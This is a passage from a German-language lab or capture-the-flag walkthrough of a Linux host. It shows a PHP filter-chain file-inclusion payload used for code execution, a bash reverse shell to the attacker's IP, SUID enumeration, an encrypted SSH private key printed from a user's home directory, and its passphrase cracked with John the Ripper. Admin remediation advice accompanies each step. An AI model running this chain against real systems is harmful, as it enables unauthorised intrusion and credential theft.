ase64-decode/resource=php://temp&cmd=id

                    
uid=33(www-data) gid=33(www-data) groups=33(www-data)
                    

Analyse: Hier wird die RCE-Fähigkeit genutzt, um eine Reverse Shell zum Angreifer-System (192.168.2.199) auf Port 5555 aufzubauen. Der Payload `cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F5555%200%3E%261%27` wird an die URL angehängt. Dieser Payload ist URL-kodiert und startet eine interaktive Bash-Shell, die ihre Ein- und Ausgabe auf die TCP-Verbindung zum Angreifer umleitet.

Bewertung: Dies ist der entscheidende Schritt zur Etablierung einer persistenten interaktiven Sitzung auf dem Zielsystem. Der Payload ist ein Standardverfahren für Reverse Shells über Bash.

Empfehlung (Pentester): Stelle sicher, dass auf dem Angreifer-System ein Listener auf Port 5555 läuft (`nc -lvnp 5555`), bevor du die URL mit dem Reverse-Shell-Payload aufrufst.
Empfehlung (Admin): Ausgehende Netzwerkverbindungen vom Webserver sollten per Firewall streng kontrolliert werden, um das Aufbauen von Reverse Shells zu verhindern oder zumindest zu erschweren. Überwachen Sie Prozessausführungen durch den Webserver-Benutzer (`www-data`).

Rev-Shell Payload:
view-source:http://192.168.2.165/n3gr4/m414nj3.php?page=php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDWS-1258.UTF32LE|convert.iconv.ISIRI3342.IS-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IS2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.IS88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.IS-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICDE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.IS8859-9.IS_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICDE|convert.iconv.CP1282.IS-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICDE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.SF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICDE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSIS2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSIS2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.IS6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICDE|convert.iconv.CP1282.IS-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.IS6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICDE|convert.iconv.CP1282.IS-IR-90|convert.iconv.IS6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.IS6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICDE|convert.iconv.IS-IR-156.JHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F5555%200%3E%261%27
                    

Analyse: Auf dem Angreifer-System wird mit `nc -lvnp 5555` ein Listener gestartet, der auf eingehende Verbindungen auf Port 5555 wartet. Kurz darauf wird die URL mit dem Reverse-Shell-Payload aufgerufen, und der Zielserver (`192.168.2.165`) verbindet sich zurück zum Angreifer.

Bewertung: **Fantastisch, die Reverse Shell war erfolgreich!** Wir haben eine interaktive Shell auf dem Zielsystem als Benutzer `www-data` erhalten. Der Hostname des Zielsystems wird als `4ng014` angezeigt. Die Fehlermeldungen (`cannot set terminal process group`, `no job control`) sind typisch für einfache Reverse Shells und können oft durch Techniken zur Shell-Stabilisierung behoben werden.

Empfehlung (Pentester): Stabilisiere die Shell, um eine voll funktionsfähige Terminal-Sitzung zu erhalten (z.B. mit Python PTY: `python3 -c 'import pty; pty.spawn("/bin/bash")'`, gefolgt von `Ctrl+Z`, `stty raw -echo; fg`, `reset`, `export TERM=xterm`). Beginne dann mit der Enumeration des Systems als Benutzer `www-data`.
Empfehlung (Admin): Wie bereits erwähnt: LFI beheben, ausgehende Verbindungen kontrollieren, Prozesse überwachen. Analysieren Sie die Logs, um den Zeitpunkt und die Quelle des Angriffs zu identifizieren.

┌──(root㉿CCat)-[~] └─# nc -lvnp 5555
 listening on [any] 5555 ...
 connect to [192.168.2.199] from (UNKNWN) [192.168.2.165] 58206
 bash: cannot set terminal process group (502): Inappropriate ioctl for device
 bash: no job control in this shell
 www-data@4ng014:/var/www/html/n3gr4$
                     

Analyse: Nach Erhalt der Reverse Shell werden grundlegende Befehle zur Orientierung und zur Verbesserung der Shell ausgeführt. * `stty rows 47 columns 94`: Versucht, die Terminalgröße der Shell anzupassen, um die Darstellung zu verbessern (die Werte hängen vom Terminal des Angreifers ab). * `id`: Zeigt die Benutzer- und Gruppen-IDs des aktuellen Benutzers an. * `ls -la`: Listet den Inhalt des aktuellen Verzeichnisses (`/var/www/html/n3gr4`) im Langformat auf, einschließlich versteckter Dateien. * `cat m414nj3.php`: Zeigt den Quellcode der anfälligen PHP-Datei an.

Bewertung: Der `id`-Befehl bestätigt erneut, dass wir als `www-data` agieren. `ls -la` zeigt die Dateien im Verzeichnis, darunter das Skript `m414nj3.php`. Der `cat`-Befehl enthüllt den extrem einfachen und unsicheren Code des Skripts: Es nimmt den Wert des `page`-Parameters und fügt ihn direkt in einen `include()`-Aufruf ein, ohne jegliche Validierung oder Sanitisierung. Dies ist der Grund für die LFI-Schwachstelle.

Empfehlung (Pentester): Die Shell ist nun teilweise stabilisiert und wir verstehen die Ursache der Schwachstelle. Der nächste Schritt ist die systematische Enumeration des Systems, um Wege zur Privilegienerweiterung zu finden. Suche nach Konfigurationsdateien, Passwörtern, SSH-Keys, SUID-Binaries, Cron-Jobs usw.
Empfehlung (Admin): Entfernen Sie das unsichere Skript `m414nj3.php` oder schreiben Sie es komplett neu mit sicheren Praktiken (Whitelist-Validierung, keine direkten Benutzereingaben in `include()`). Führen Sie einen Code-Audit für die gesamte Webanwendung durch.

www-data@4ng014:/var/www/html/n3gr4$ stty rows 47 columns 94
www-data@4ng014:/var/www/html/n3gr4$ id
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
                     
www-data@4ng014:/var/www/html/n3gr4$ ls -la
 total 16
 drwxr-xr-x 2 root root 4096 Nov 13 17:24 .
 drwxr-xr-x 3 root root 4096 Nov 13 14:04 ..
 -rw-r--r-- 1 root root    4 Nov 13 16:44 index.html
 -rw-r--r-- 1 root root   56 Nov 13 17:24 m414nj3.php
                     
www-data@4ng014:/var/www/html/n3gr4$ cat m414nj3.php
 <?php   
     $page = $GET['page'];
     include($page);
 ?>
                     

User Access (SSH Key)

Analyse: Es wird nach Dateien mit gesetztem SUID-Bit gesucht, die dem Benutzer `root` gehören. Solche Dateien werden mit den Rechten des Besitzers (hier `root`) ausgeführt, unabhängig davon, welcher Benutzer sie startet, und sind ein häufiger Vektor für Privilege Escalation. * `find /`: Startet die Suche im Wurzelverzeichnis. * `-type f`: Sucht nur nach Dateien. * `-perm -4000`: Sucht nach Dateien, bei denen das SUID-Bit gesetzt ist (oktal 4000). * `-user root`: Sucht nur nach Dateien, die `root` gehören. * `-ls`: Zeigt detaillierte Informationen zu den gefundenen Dateien an (ähnlich `ls -lids`). * `2>/dev/null`: Leitet Fehlermeldungen (wie "Permission denied" für nicht lesbare Verzeichnisse) ins Nichts um, um die Ausgabe sauber zu halten.

Bewertung: Die Suche listet eine Reihe von Standard-SUID-Binaries auf, die auf den meisten Linux-Systemen vorhanden sind (`chsh`, `umount`, `newgrp`, `gpasswd`, `sudo`, `su`, `mount`, `chfn`, `passwd`, `dbus-daemon-launch-helper`, `ssh-keysign`). Auf den ersten Blick scheint keine ungewöhnliche oder bekanntermaßen leicht ausnutzbare SUID-Datei dabei zu sein. `sudo` wäre ein primäres Ziel, aber wir wissen noch nicht, ob `www-data` irgendwelche `sudo`-Rechte hat.

Empfehlung (Pentester): Überprüfe die Versionen dieser Binaries und suche auf GTFOBins nach bekannten Ausnutzungstechniken. Teste `sudo -l`, um zu sehen, ob `www-data` irgendwelche Befehle als `root` ausführen darf. Untersuche weiterhin das Home-Verzeichnis des Benutzers `p4l4nc4`.
Empfehlung (Admin): Reduzieren Sie die Anzahl der SUID-Binaries auf das absolute Minimum. Entfernen Sie das SUID-Bit von Dateien, wo es nicht zwingend benötigt wird. Überwachen Sie die Integrität kritischer Systemdateien. Konfigurieren Sie `sudo` restriktiv.

www-data@4ng014:/var/www/html/n3gr4$ find / -type f -perm -4000 -user root -ls 2>/dev/null
      125     52 -rwsr-xr-x   1 root     root        52880 Mar 23  2023 /usr/bin/chsh
     3539     36 -rwsr-xr-x   1 root     root        35128 ct 18 07:56 /usr/bin/umount
     3383     48 -rwsr-xr-x   1 root     root        48896 Mar 23  2023 /usr/bin/newgrp
      127     88 -rwsr-xr-x   1 root     root        88496 Mar 23  2023 /usr/bin/gpasswd
    24323    276 -rwsr-xr-x   1 root     root       281624 Jun 27  2023 /usr/bin/sudo
     4049     72 -rwsr-xr-x   1 root     root        72000 ct 18 07:56 /usr/bin/su
     3537     60 -rwsr-xr-x   1 root     root        59704 ct 18 07:56 /usr/bin/mount
      124     64 -rwsr-xr-x   1 root     root        62672 Mar 23  2023 /usr/bin/chfn
      128     68 -rwsr-xr-x   1 root     root        68248 Mar 23  2023 /usr/bin/passwd
    15762     52 -rwsr-xr--   1 root     messagebus    51272 Sep 16  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    18457    640 -rwsr-xr-x   1 root     root         653888 Jun 22  2024 /usr/lib/openssh/ssh-keysign
                    

Analyse: Der Inhalt des `/home`-Verzeichnisses wird aufgelistet, und es wird in das Home-Verzeichnis des Benutzers `p4l4nc4` gewechselt. Anschließend wird der Inhalt dieses Verzeichnisses detailliert aufgelistet.

Bewertung: Im Home-Verzeichnis von `p4l4nc4` finden sich mehrere interessante Dinge: * `.bash_history`: Enthält die Befehlshistorie des Benutzers, die wertvolle Informationen liefern kann. * `.ssh`: Ein Verzeichnis, das typischerweise SSH-Schlüssel enthält. **Ein hochinteressantes Ziel!** * `user.txt`: Wahrscheinlich die Benutzerflagge für die Challenge. * `.sudo_as_admin_successful`: Eine leere Datei, die oft als Hinweis dient, dass der Benutzer möglicherweise `sudo`-Rechte hat(te).

Empfehlung (Pentester): Untersuche sofort den Inhalt des `.ssh`-Verzeichnisses. Lese die `.bash_history`, um zu sehen, welche Befehle `p4l4nc4` ausgeführt hat. Versuche, `user.txt` zu lesen.
Empfehlung (Admin): Stellen Sie sicher, dass die Berechtigungen für Home-Verzeichnisse und insbesondere für `.ssh`-Verzeichnisse und deren Inhalte korrekt gesetzt sind (normalerweise `700` für `.ssh`, `600` für `id_rsa`, `644` für `id_rsa.pub` und `authorized_keys`). Überwachen Sie `.bash_history`-Dateien auf verdächtige Befehle (obwohl Benutzer ihre History löschen können).

www-data@4ng014:/var/www/html/n3gr4$ ls /home/
p4l4nc4
                    
www-data@4ng014:/var/www/html/n3gr4$ cd /home/p4l4nc4/
www-data@4ng014:/home/p4l4nc4$ ls -la
total 36
drwxr-xr-x 4 p4l4nc4 p4l4nc4 4096 Nov 13 17:50 .
drwxr-xr-x 3 root    root    4096 Nov 13 12:28 ..
-rw------- 1 p4l4nc4 p4l4nc4 3084 Nov 13 17:54 .bash_history
-rw-r--r-- 1 p4l4nc4 p4l4nc4  220 Nov 13 12:28 .bash_logout
-rw-r--r-- 1 p4l4nc4 p4l4nc4 3526 Nov 13 12:28 .bashrc
drwxr-xr-x 3 p4l4nc4 p4l4nc4 4096 Nov 13 13:53 .local
-rw-r--r-- 1 p4l4nc4 p4l4nc4  807 Nov 13 12:28 .profile
drwxr-xr-x 2 p4l4nc4 p4l4nc4 4096 Nov 13 13:41 .ssh
-rw-r--r-- 1 p4l4nc4 p4l4nc4    0 Nov 13 13:00 .sudo_as_admin_successful
-rw-r--r-- 1 p4l4nc4 p4l4nc4   46 Nov 13 17:49 user.txt
                    

Analyse: Es wird in das `.ssh`-Verzeichnis gewechselt und dessen Inhalt aufgelistet. Anschließend wird der Inhalt der privaten Schlüsseldatei `id_rsa` angezeigt.

Bewertung: Bingo! Im `.ssh`-Verzeichnis befinden sich der private (`id_rsa`) und der öffentliche (`id_rsa.pub`) SSH-Schlüssel des Benutzers `p4l4nc4`. Der private Schlüssel wird ausgegeben. Er ist passwortgeschützt, was durch die Zeilen `Proc-Type: 4,ENCRYPTED` und `DEK-Info: AES-128-CBC,...` (hier nicht explizit gezeigt, aber typisch) oder durch das Format `-----BEGIN OPENSSH PRIVATE KEY-----` mit nachfolgendem verschlüsseltem Block angezeigt wird. Dieser Schlüssel kann potenziell verwendet werden, um sich als Benutzer `p4l4nc4` per SSH anzumelden, wenn das Passwort geknackt werden kann.

Empfehlung (Pentester): Kopiere den Inhalt des privaten Schlüssels (`id_rsa`) auf dein Angreifer-System. Verwende Tools wie `ssh2john`, um den Hash des Schlüsselpassworts zu extrahieren, und `john` (John the Ripper) oder `hashcat`, um das Passwort mit einer Wortliste (z.B. `rockyou.txt`) zu knacken.
Empfehlung (Admin): Ermutigen Sie Benutzer, starke Passphrasen für ihre SSH-Schlüssel zu verwenden. Stellen Sie sicher, dass die Berechtigungen für `id_rsa` auf `600` gesetzt sind, sodass nur der Benutzer selbst den Schlüssel lesen kann. Überwachen Sie fehlgeschlagene SSH-Logins.

www-data@4ng014:/home/p4l4nc4$ cd .ssh
www-data@4ng014:/home/p4l4nc4/.ssh$ ls
id_rsa	id_rsa.pub
                    
www-data@4ng014:/home/p4l4nc4/.ssh$ cat id_rsa
-----BEGIN PENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCvTRnNli
2HLc7wYB9S1mbCAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQCrXZ98DYMr
n/f74/g82lqDkMHkyocXGXn8VaP/N7vD9j5mLSr1uhKGBbxcVm4uGP9k//mmRKlewRl/MZ
nTg0N8MP9vp02B9vrwHLz9JekTblv93/VCDpJS78CGkNNVMRcv2ZB3w7uFm6zxRZxQmH
5HaRNuf795GQSFjybiqmN7Mu78bG/94aQMZZLALYmoyMCYWXGvvHpxRN1dwNsT7If4aNBE
l1HXVrZY1biDrpJQ7+eZpD4IKs5/QgKL6w9nBczVcGKkvyms98A5qTa/F43+1CxQE2ng
wPiejJEeJZ0PEkQu3nZTK1k7WpJzVnhpqbHGlwKWbfvMKh27Y2gpAAADwI6Nr+vLoXaEJy
SIRrVjIYFz/C3B17pmpx+lmupFfU6ruVHLE92gweyr9wAd5lxhKX1I6BClhlEoDWkzEBCT
H/4zg2tj84+hzhdVWUy6KaCVbRbuvJYWQNWY4kgfk/3FTnSJFHd+k8CZImN3Xa/9DRVLmg
jytzseFr83bPyyGSze51kJX4r2ljurDvmcnXfQ4j27zUUmwEKi02VvjLngXbmMnIMDLI3
x/pdFxnyZ0w6wnl/Bg+2gvc54Y2ssMblNMw6HZU4K2TN/c3li3A3hLZsN7QwNIV76X5UeP
dWCngRsImAmMtyxPKZ0rvYwgDimWunQPy0yJXEPdofL6hrAxFZ6y+jnm+gM7x1fnooSkb
9H5RblfwituTD7bmAu6ApNU0Ul3X2YFPnDLFjo/D0Sj5LcsYDQ+XlTNUwnjHpyMy5VzUz
2vDpiscBd7FpFCHf1lS9bfGMLbhfdM6TPzpjlmdRizoVjGCZdXsA4Jg05FpvEFa3KHqM
iJA9yXhHPRYmwl5Mu+NTPc+Xbiu7B8TJu/BRoShhbm7+kQpXM7XHPDKTTnJo+qmsI
Pt9FuQF3wZWIXZ48DmRKJKhB+a9LwuE8ES3wUTVqx/EbAs08V6/uiBYZmorJFSgbPd68AE
xKTK9bilJKSfS2Ik5/iVIBTUxlAt2foAUpWTlXVNmFfBEhRSk48E8NhcgNqctKWpjKf0R
2gi/Dvpect4LoqKPue5zvN0dNlYSiq/6QK6NqJrJdN7DvsvocL+BcWmmv31erlJo6A3Zw
CEpmnqVzMTroZSBQv3eEsFS/+RkJ5ffFRpXGfWPh4Dn/Y++n3wbHNNb97pd9WV+IlhDV
7btvga8cG9xp3zihIf308VowcpIp0CSlEqZDBpis5jWY9J3N1+uh3pJHFgqmLxKnqLmzu
u15Kh/+nAV6DTBVxrdhq8HoLAvb7ubAq2ICHALC39X12+J0cLUMi8UWYawMTFgYn3ZBD
fb6fZaM9Hr97jREiUEG6vgIcNgn6jtJ3EM3ncxTKe2T8SSYn8pFy9Lqf+lvZ8yo9DkaPl5
RSVWa+jCKhuClPZY5t8VJC9xXGyz8Wah15Y2pg95nGEub7dgmRlQAIiSxjWsDmaDzIBPo
IkZ5lzxoTvvtL2N1+4ZFprPwUN6y6C6zrXbzQp7v0bZc2g9fFiNxu1HvR96rwVNFHbeia
JEM2NZSUU52PExgYtSXw5aDy70oKiu0pbifoYm19hlYwYWa6s+oW2FG+aX8WIeEa
muaZDiXw
-----END PENSSH PRIVATE KEY-----
                    

Analyse: Der private SSH-Schlüssel (`id_rsa`) wird auf das Angreifer-System kopiert (hier implizit, da die nächsten Befehle lokal ausgeführt werden). * `vi id_rsa`: Der Schlüssel wird vermutlich in eine lokale Datei eingefügt. * `chmod 600 id_rsa`: Die Berechtigungen der lokalen Schlüsseldatei werden auf `600` gesetzt (nur Besitzer darf lesen/schreiben), was für SSH erforderlich ist. * `ssh2john id_rsa > hash`: Das Tool `ssh2john` (Teil von John the Ripper) extrahiert den Passwort-Hash aus dem verschlüsselten privaten Schlüssel und speichert ihn in der Datei `hash`. * `john --wordlist=/usr/share/wordlists/rockyou.txt hash`: John the Ripper wird gestartet, um den Hash mit der `rockyou.txt`-Wortliste zu knacken.

Bewertung: Der Angriff auf das Schlüsselpasswort ist **erfolgreich**! John the Ripper findet das Passwort: `friendster`. Nun kann der private Schlüssel verwendet werden, um sich als Benutzer `p4l4nc4` per SSH anzumelden.

Empfehlung (Pentester): Verwende den geknackten Schlüssel und das Passwort, um dich per SSH am Zielsystem anzumelden: `ssh p4l4nc4@192.168.2.165 -i id_rsa`.
Empfehlung (Admin): Verstärken Sie die Passwortrichtlinien für Benutzer und für SSH-Schlüssel-Passphrasen. Verwenden Sie keine einfachen oder wiederverwendeten Passwörter/Passphrasen. Überwachen Sie Brute-Force-Angriffe auf SSH.

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator] └─# vi id_rsa
┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator] └─# chmod 600 id_rsa
┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator] └─# ssh2john id_rsa > hash
┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/PENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 16 penMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
friendster       (id_rsa)
1g 0:00:00:04 DNE (2025-01-28 22:57) 0.2105g/s 161.6p/s 161.6c/s 161.6C/s hearts..bestfriends
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
                    

Analyse: Der SSH-Login als Benutzer `p4l4nc4` wird versucht, unter Verwendung des zuvor gefundenen und entschlüsselten privaten Schlüssels (`-i id_rsa`). Beim ersten Verbindungsaufbau wird der Host-Schlüssel des Servers bestätigt (`yes`). Anschließend wird nach dem Passwort für den SSH-Schlüssel gefragt.

Bewertung: Nach Eingabe der geknackten Passphrase (`friendster`) ist der SSH-Login **erfolgreich**! Wir haben nun eine vollwertige interaktive Shell als Benutzer `p4l4nc4` auf dem Zielsystem `4ng014`. Dies ist ein signifikanter Fortschritt gegenüber der `www-data`-Shell.

Empfehlung (Pentester): Beginne die Enumeration erneut als Benutzer `p4l4nc4`. Überprüfe insbesondere `sudo -l`, um zu sehen, welche Privilegien dieser Benutzer hat. Suche nach weiteren Hinweisen im Home-Verzeichnis und im System.
Empfehlung (Admin): Überprüfen Sie die SSH-Konfiguration (`sshd_config`), um sicherzustellen, dass nur sichere Authentifizierungsmethoden erlaubt sind. Erwägen Sie die Deaktivierung der passwortbasierten Authentifizierung zugunsten von schlüsselbasierter Authentifizierung mit starken Passphrasen oder Zwei-Faktor-Authentifizierung.

┌──(root㉿CCat)-[~] └─# ssh p4l4nc4@192.168.2.165 -i id_rsa
 The authenticity of host '192.168.2.165 (192.168.2.165)' can't be established.
 ED25519 key fingerprint is SHA256:F1H2S93bx6fgnjMCinI5RMZf/XIJS3u8KjLS15l6rU.
 This key is not known by any other names.
 Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
 Warning: Permanently added '192.168.2.165' (ED25519) to the list of known hosts.
 Enter passphrase for key 'id_rsa': friendster 
 Linux 4ng014 6.1.0-27-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.115-1 (2024-11-01) x86_64

 The programs included with the Debian GNU/Linux system are free software;
 the exact distribution terms for each program are described in the
 individual files in /usr/share/doc/*/copyright.

 Debian GNU/Linux comes with ABSLUTELY N WARRANTY, to the extent
 permitted by applicable law.
 Last login: Wed Nov 13 17:10:08 2024 from 192.168.1.78
 p4l4nc4@4ng014:~$
                     

Analyse: Als Benutzer `p4l4nc4` wird `sudo -l` ausgeführt, um zu überprüfen, welche Befehle dieser Benutzer mit `sudo` (also potenziell als `root`) ausführen darf. Das Passwort für `p4l4nc4` wird abgefragt. Da wir das Benutzerpasswort nicht kennen (nur die SSH-Key-Passphrase), schlagen die Versuche fehl.

Bewertung: Die Ausgabe "Sorry, user p4l4nc4 may not run sudo on 4ng014." zeigt eindeutig, dass der Benutzer `p4l4nc4` keine `sudo`-Rechte hat. Der Hinweis `.sudo_as_admin_successful` im Home-Verzeichnis war irreführend oder bezog sich auf eine frühere Konfiguration. Dieser Weg zur Privilege Escalation ist also versperrt.

Empfehlung (Pentester): Suche nach anderen Wegen zur Privilege Escalation: SUID-Binaries (erneut prüfen), Cron-Jobs, Kernel-Exploits, Fehlkonfigurationen von Diensten, ungesicherte Dateien/Skripte. Analysiere die `.bash_history` genauer.
Empfehlung (Admin): Gut, dass der Benutzer keine unnötigen `sudo`-Rechte hat. Überprüfen Sie regelmäßig die `sudoers`-Konfiguration.

p4l4nc4@4ng014:~$ sudo -l
[sudo] password for p4l4nc4:
Sorry, try again.
[sudo] password for p4l4nc4:
Sorry, user p4l4nc4 may not run sudo on 4ng014.
                    

Analyse: Der Inhalt der `.bash_history`-Datei des Benutzers `p4l4nc4` wird angezeigt.

Bewertung: Die History zeigt einige interessante Befehle: * `sudo bash`: Versuch, eine Root-Shell zu bekommen (schlug fehl, da keine sudo-Rechte). * Mehrere `sudo chmod`-Befehle auf das `.ssh`-Verzeichnis: Der Benutzer hat versucht, die Berechtigungen zu ändern, möglicherweise um Probleme zu beheben oder aus Unwissenheit. Dies könnte erklären, warum der `www-data`-Benutzer den SSH-Schlüssel lesen konnte (falls die Berechtigungen zwischenzeitlich unsicher waren). * `sudo nano m414nj3.php`: Versuch, das anfällige PHP-Skript zu bearbeiten, vermutlich als `root`. Dies deutet darauf hin, dass der Benutzer `p4l4nc4` wusste, dass das Skript existiert und möglicherweise problematisch ist, oder dass er es selbst erstellt/verwaltet hat. Es impliziert auch, dass der Benutzer *erwartet* hat, `sudo`-Rechte zu haben.

Empfehlung (Pentester): Die History liefert keine direkten Passwörter oder Exploits, aber die Interaktion mit `m414nj3.php` und die `sudo`-Versuche sind bemerkenswert. Es erhärtet den Verdacht, dass der Weg über das PHP-Skript zentral ist. Suche weiter nach Konfigurationsfehlern oder anderen Schwachstellen.
Empfehlung (Admin): Schulen Sie Benutzer im sicheren Umgang mit Berechtigungen und `sudo`. Überwachen Sie die Verwendung von `sudo`. Die Tatsache, dass der Benutzer versucht hat, eine Datei im Web-Verzeichnis mit `sudo` zu bearbeiten, könnte auf eine unsichere Entwicklungspraxis hindeuten.

p4l4nc4@4ng014:~$ cat .bash_history
 cdls
 ls -al
 cd bash
 sudo bash
 ls
 cd /home/p4l4nc4/
 ls
 ls -al
 sudo chmod 731 .ssh/
 ls -al
 sudo chmod 751 .ssh/
 ls -al
